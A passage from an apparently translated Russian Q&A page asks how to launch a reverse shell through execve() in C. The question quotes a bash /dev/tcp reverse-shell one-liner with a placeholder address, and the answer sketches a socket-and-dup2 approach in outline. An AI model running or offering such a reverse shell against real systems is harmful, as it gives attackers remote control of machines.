Выполнить обратную оболочку с помощью execve()

Мне нужно запустить обратную оболочку, используя execve, Я знаю, как запустить его из командной строки следующим образом:

$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1

Я могу запустить простую версию /bin/sh позвоните следующим образом:

#include <stdio.h>

int main() {

   char *args[2];
   args[0] = "/bin/sh";
   args[1] = "-i";
   args[2] = NULL;

   execve(args[0], args, NULL);
}

Я не могу понять, как выполнить остальную часть команды. Я попытался назначить оставшуюся строку > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1 как отдельные элементы в args массив. Когда я запускаю, он сообщает, что Can't open >,

Является ли команда обратной оболочки, о которой я упоминал, исполняемой через execve()? Если это так, что будет правильным способом сделать это? Благодарю.

1 ответ

/dev/tcp/*/* файлы не существуют Это абстракция, которая существует только в некоторой оболочке (bash, ksh). Вам нужно будет регулярно программировать сокеты в вашей C-программе (socket, bind, listen, accept а потом dup2 сокет на стандартных дескрипторах ввода-вывода оболочки, которую вы создаете).

Вы также должны исправить переполнение в массиве. Инициализация, такая как char *args[] = { "/bin/sh", "-i", 0 }; должен быть менее подвержен ошибкам.

Другие вопросы по тегам